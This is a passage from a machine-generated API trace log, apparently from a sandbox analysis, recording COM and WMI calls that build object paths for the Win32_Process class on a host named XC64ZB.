This=0x1b4ceb90, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d8a30, ppCallResult=0x0) returned 0x0 [0128.599] IWbemClassObject:Get (in: This=0x1b4d8a30, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0128.599] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0128.599] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0128.599] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0128.599] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0128.599] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0128.599] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.600] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b483270) returned 0x0 [0128.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483270, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0128.600] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483270, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4af2e0) returned 0x0 [0128.600] WbemDefPath:IUnknown:Release (This=0x1b483270) returned 0x0 [0128.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4af2e0) returned 0x0 [0128.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0128.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0128.600] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0128.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0128.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0128.600] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b483290) returned 0x0 [0128.600] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483290, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.600] WbemDefPath:IUnknown:Release (This=0x1b483290) returned 0x3 [0128.601] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0128.601] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0128.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0128.601] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0128.601] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0128.601] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0128.601] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0128.601] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af2e0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4af2e0) returned 0x0 [0128.601] WbemDefPath:IUnknown:AddRef (This=0x1b4af2e0) returned 0x3 [0128.601] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x2 [0128.601] WbemDefPath:IWbemPath:SetText (This=0x1b4af2e0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0128.601] IWbemClassObject:Get (in: This=0x1b4d8a30, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0128.601] SysStringByteLen (bstr="XC64ZB") returned 0xc [0128.601] SysStringByteLen (bstr="XC64ZB") returned 0xc [0128.601] IWbemClassObject:Get (in: This=0x1b4d8a30, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0128.601] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0128.601] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0128.602] IWbemClassObject:Get (in: This=0x1b4d8a30, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0128.602] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0128.602] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0128.602] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0128.602] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0128.602] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0128.602] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.602] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b483270) returned 0x0 [0128.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483270, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0128.603] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483270, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afe20) returned 0x0 [0128.603] WbemDefPath:IUnknown:Release (This=0x1b483270) returned 0x0 [0128.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afe20) returned 0x0 [0128.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0128.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0128.603] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0128.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0128.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0128.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b483350) returned 0x0 [0128.603] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b483350, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.603] WbemDefPath:IUnknown:Release (This=0x1b483350) returned 0x3 [0128.603] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0128.603] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0128.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0128.603] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0128.603] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0128.604] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0128.604] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.604] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afe20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afe20) returned 0x0 [0128.604] WbemDefPath:IUnknown:AddRef (This=0x1b4afe20) returned 0x3 [0128.604] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x2 [0128.604] WbemDefPath:IWbemPath:SetText (This=0x1b4afe20, uMode=0x4, pszPath="") returned 0x0 [0128.604] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0128.604] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0128.604] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0128.604] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.604] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b483270) returned 0x0 [0128.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483270, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0128.605] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483270, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aef20) returned 0x0 [0128.605] WbemDefPath:IUnknown:Release (This=0x1b483270) returned 0x0 [0128.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aef20) returned 0x0 [0128.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0128.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0128.605] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0128.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0128.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0128.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4837f0) returned 0x0 [0128.605] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4837f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.605] WbemDefPath:IUnknown:Release (This=0x1b4837f0) returned 0x3 [0128.605] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0128.605] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0128.605] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0128.605] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0128.605] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0128.606] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0128.606] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.608] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aef20) returned 0x0 [0128.608] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0128.608] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0128.608] WbemDefPath:IWbemPath:SetText (This=0x1b4aef20, uMode=0x4, pszPath="") returned 0x0 [0128.608] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0128.608] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0128.608] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4aef20, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0128.608] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aef20, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0128.608] WbemDefPath:IWbemPath:SetServer (This=0x1b4aef20, Name="XC64ZB") returned 0x0 [0128.608] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0128.609] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0128.609] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0128.609] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.609] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4840f0) returned 0x0 [0128.609] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4840f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0128.609] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4840f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af5e0) returned 0x0 [0128.609] WbemDefPath:IUnknown:Release (This=0x1b4840f0) returned 0x0 [0128.609] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af5e0) returned 0x0 [0128.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0128.610] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, 